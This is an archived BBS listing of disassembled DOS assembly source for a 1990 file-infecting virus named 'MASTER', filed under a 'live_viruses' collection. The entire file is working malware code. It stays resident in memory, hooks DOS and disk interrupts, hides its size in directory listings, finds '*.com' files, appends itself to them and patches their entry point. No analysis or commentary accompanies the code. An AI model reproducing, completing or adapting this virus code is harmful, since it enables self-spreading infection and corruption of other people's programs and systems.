home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / mg-1.asm < prev    next >
Assembly Source File  |  1990-08-08  |  6KB  |  305 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;==========================================================================
  5. ;==                                         ==
  6. ;==                    MASTER                         ==
  7. ;==                                         ==
  8. ;==      Created:   15-May-90                             ==
  9. ;==      Version:                                 ==
  10. ;==      Passes:    9           Analysis Options on: ABCHIOP             ==
  11. ;==                                         ==
  12. ;==                                         ==
  13. ;==========================================================================
  14.   
  15. data_1e        equ    6            ; (99D7:0006=0)
  16. data_2e        equ    4Ch            ; (99D7:004C=0)
  17. data_4e        equ    90h            ; (99D7:0090=0)
  18. data_5e        equ    92h            ; (99D7:0092=0)
  19. data_14e    equ    334h            ; (99D7:0334=0)
  20. data_15e    equ    3EFh            ; (99D7:03EF=0)
  21. data_16e    equ    3F5h            ; (99D7:03F5=0)
  22. data_17e    equ    3F7h            ; (99D7:03F7=0)
  23. data_18e    equ    3F9h            ; (99D7:03F9=0)
  24. data_19e    equ    3FCh            ; (99D7:03FC=0)
  25. data_20e    equ    3FEh            ; (99D7:03FE=0)
  26. data_21e    equ    7B0h            ; (99D7:07B0=0)
  27. data_22e    equ    7B4h            ; (99D7:07B4=0)
  28. data_23e    equ    7B6h            ; (99D7:07B6=0)
  29.   
  30. seg_a        segment    byte public
  31.         assume    cs:seg_a, ds:seg_a
  32.   
  33.   
  34.         org    100h
  35.   
  36. master        proc    far
  37.   
  38. start:
  39.         call    self            ; (0103)
  40.   
  41. master        endp
  42.   
  43. ;==========================================================================
  44. ;                   SUBROUTINE
  45. ;==========================================================================
  46.   
  47. self        proc    near
  48.         push    ax
  49.         mov    ax,word ptr ds:[101h]    ; (99D7:0101=0)
  50.         add    ax,103h
  51.         xchg    ax,si
  52.         mov    ax,word ptr cs:[1EBh][si]    ; (99D7:01EB=1F0Eh)
  53.         mov    word ptr ds:[100h],ax    ; (99D7:0100=0E8h)
  54.         mov    ah,byte ptr cs:[1EDh][si]    ; (99D7:01ED=0B4h)
  55.         mov    byte ptr ds:[102h],ah    ; (99D7:0102=0)
  56.         mov    ax,4B04h
  57.         int    21h            ; DOS Services  ah=function 4Bh
  58.                         ;  run progm @ds:dx, parm @es:bx
  59.         jnc    in_mem
  60.         xor    ax,ax
  61.         mov    es,ax
  62.         mov    di,201h
  63.         mov    cx,1F4h
  64.         cld
  65.         rep    movsb
  66.         les    di,dword ptr ds:data_1e    ; (99D7:0006=0)
  67.         mov    al,0EAh
  68.         dec    cx
  69.         repne    scasb
  70.         les    di,dword ptr es:[di]
  71.         sub    di,0FFDFh
  72. data_9        db    0EAh
  73. data_10        dw    242h
  74. data_11        dw    0
  75.         push    ds
  76.         push    es
  77.         pop    ds
  78.         mov    bx,[di-4]
  79.         mov    al,[bx]
  80.         cmp    al,68h            ; 'h'
  81.         mov    [di-3],al
  82.         mov    word ptr [di-5],0FC80h
  83.         mov    word ptr [di-7],0FCCDh
  84.         push    cs
  85.         pop    ds
  86.         mov    ds:data_19e,di        ; (99D7:03FC=0)
  87.         mov    ds:data_20e,es        ; (99D7:03FE=0)
  88.         mov    byte ptr ds:data_14e,0Ah    ; (99D7:0334=0)
  89.         jc    loc_1
  90.         mov    byte ptr ds:data_14e,0    ; (99D7:0334=0)
  91.         mov    word ptr ds:data_22e,3D8h    ; (99D7:07B4=0)
  92.         mov    ds:data_23e,cs        ; (99D7:07B6=0)
  93. loc_1:
  94.         mov    al,0A9h
  95.         mov    ch,0FFh
  96. srch_lp:
  97.         repne    scasb
  98.         cmp    word ptr es:[di],0FFD8h
  99.         jne    srch_lp
  100.         mov    al,98h
  101.         stosb
  102.         pop    ds
  103. in_mem:
  104.         push    ds
  105.         pop    es
  106.         pop    ax
  107.         pop    si
  108.         push    ds
  109.         mov    bx,100h
  110.         push    bx
  111.         retf
  112. self        endp
  113.   
  114.         cmp    ax,4B04h
  115.         je    mem_chk
  116.         cmp    ah,11h
  117.         je    FCB_find
  118.         cmp    ah,12h
  119.         jne    spce_chk
  120. FCB_find:
  121.         int    0FFh
  122.         push    ax
  123.         push    bx
  124.         push    es
  125.         mov    ah,2Fh            ; '/'
  126.         int    0FFh
  127.         test    byte ptr es:[bx+13h],40h    ; '@'
  128.         jz    not_inf
  129.         sub    word ptr es:[bx+24h],1F4h
  130. not_inf:
  131.         pop    es
  132.         pop    bx
  133.         pop    ax
  134. mem_chk:
  135.         add    sp,6
  136.         iret
  137. spce_chk:
  138.         cmp    ah,36h            ; '6'
  139.         jne    exec_chk
  140.         test    dl,dl
  141.         jz    infect
  142. exec_chk:
  143.         cmp    ah,4Bh            ; 'K'
  144.         je    infect
  145.         cmp    ah,39h            ; '9'
  146.         je    infect
  147.         cmp    ah,47h            ; 'G'
  148.         jne    exit
  149.         push    ax
  150.         mov    ah,19h
  151.         int    0FFh
  152.         cmp    al,2
  153.         pop    ax
  154.         jnc    infect
  155. exit:
  156.         iret
  157. infect:
  158.         push    ax
  159.         push    bx
  160.         push    cx
  161.         push    dx
  162.         push    si
  163.         push    ds
  164.         push    es
  165.         push    cs
  166.         pop    ds
  167.         mov    ah,2Fh            ; '/'
  168.         int    0FFh
  169.         push    word ptr es:[bx]
  170.         push    es
  171.         push    bx
  172.         mov    ah,4Eh            ; 'N'
  173.         mov    dx,3E6h
  174.         mov    cx,3
  175.         int    0FFh
  176.         jc    err_xit
  177. find_lp:
  178.         test    byte ptr es:[bx+15h],40h    ; '@'
  179.         jz    do_inf
  180.         mov    ah,4Fh            ; 'O'
  181.         int    0FFh
  182.         jnc    find_lp
  183. err_xit:
  184.         jmp    error            ; (02B4)
  185. do_inf:
  186.         push    word ptr es:[bx+16h]
  187.         push    word ptr es:[bx+18h]
  188.         push    word ptr es:[bx+15h]
  189.         mov    word ptr ds:data_4e,3C4h    ; (99D7:0090=0)
  190.         mov    ds:data_5e,cs        ; (99D7:0092=0)
  191.         push    es
  192.         les    di,dword ptr ds:data_2e    ; (99D7:004C=0)
  193.         mov    ds:data_17e,di        ; (99D7:03F7=0)
  194.         mov    ds:data_18e,es        ; (99D7:03F9=0)
  195. hang:
  196.         jmp    short hang        ; (0235)
  197.         mov    word ptr ds:data_2e,3C7h    ; (99D7:004C=0)
  198.         mov    word ptr ds:data_2e+2,cs    ; (99D7:004E=0)
  199.         pop    es
  200.         lea    dx,[bx+1Eh]
  201.         mov    ax,4301h
  202.         pop    cx
  203.         and    cx,0FEh
  204.         or    cl,40h            ; '@'
  205.         push    es
  206.         pop    ds
  207.         int    0FFh
  208.         mov    ax,3D02h
  209.         int    0FFh
  210.         xchg    ax,si
  211.         push    cs
  212.         pop    ds
  213.         mov    ah,3Fh            ; '?'
  214.         mov    cx,3
  215.         mov    dx,3ECh
  216.         mov    bx,si
  217.         int    0FFh
  218.         mov    ax,4202h
  219.         xor    dx,dx
  220.         mov    cx,dx
  221.         int    0FFh
  222.         cmp    ax,0FCE0h
  223.         jae    set_time
  224.         sub    ax,3
  225.         mov    ds:data_16e,ax        ; (99D7:03F5=0)
  226.         mov    ah,40h            ; '@'
  227.         mov    cx,1F4h
  228.         mov    dx,201h
  229.         int    0FFh
  230.         jc    set_time
  231.         mov    ax,4200h
  232.         xor    dx,dx
  233.         mov    cx,dx
  234.         int    0FFh
  235.         mov    ah,40h            ; '@'
  236.         mov    cx,3
  237.         mov    dx,3F4h
  238.         int    0FFh
  239. set_time:
  240.         mov    ax,5701h
  241.         pop    dx
  242.         pop    cx
  243.         int    0FFh
  244.         mov    ah,3Eh            ; '>'
  245.         mov    bx,si
  246.         int    0FFh
  247.         les    di,dword ptr ds:data_17e    ; (99D7:03F7=0)
  248.         mov    ds:data_2e,di        ; (99D7:004C=0)
  249.         mov    word ptr ds:data_2e+2,es    ; (99D7:004E=0)
  250. error:
  251.         pop    bx
  252.         pop    es
  253.         pop    word ptr es:[bx]
  254.         mov    byte ptr es:[bx+2],5Ch    ; '\'
  255.         pop    es
  256.         pop    ds
  257.         pop    si
  258.         pop    dx
  259.         pop    cx
  260.         pop    bx
  261.         pop    ax
  262.         iret
  263.   
  264. ;==========================================================================
  265. ;                   SUBROUTINE
  266. ;==========================================================================
  267.   
  268. int_24        proc    far
  269.         mov    al,3
  270.         iret
  271. int_24        endp
  272.   
  273.   
  274. ;==========================================================================
  275. ;                   SUBROUTINE
  276. ;==========================================================================
  277.   
  278. int_13        proc    far
  279.         cmp    ah,3
  280.         jne    not_write
  281.         inc    byte ptr cs:data_15e    ; (99D7:03EF=0)
  282.         dec    ah
  283. not_write:
  284.         jmp    dword ptr cs:data_17e    ; (99D7:03F7=0)
  285.         shr    byte ptr cs:data_15e,1    ; (99D7:03EF=0)
  286.         jnc    dont_conv
  287.         inc    ah
  288. dont_conv:
  289.         jmp    dword ptr cs:data_21e    ; (99D7:07B0=0)
  290. int_13        endp
  291.   
  292. f_mask        db    '*.com', 0
  293. first3        db    0CDh, 20h, 0
  294. old_op        db    0
  295.         db    93h, 2, 0, 0
  296. call_op        db    0E8h
  297. vir_offs    dw    0
  298. old_13        dd    00000h
  299.   
  300. seg_a        ends
  301.   
  302.   
  303.   
  304.         end    start
  305.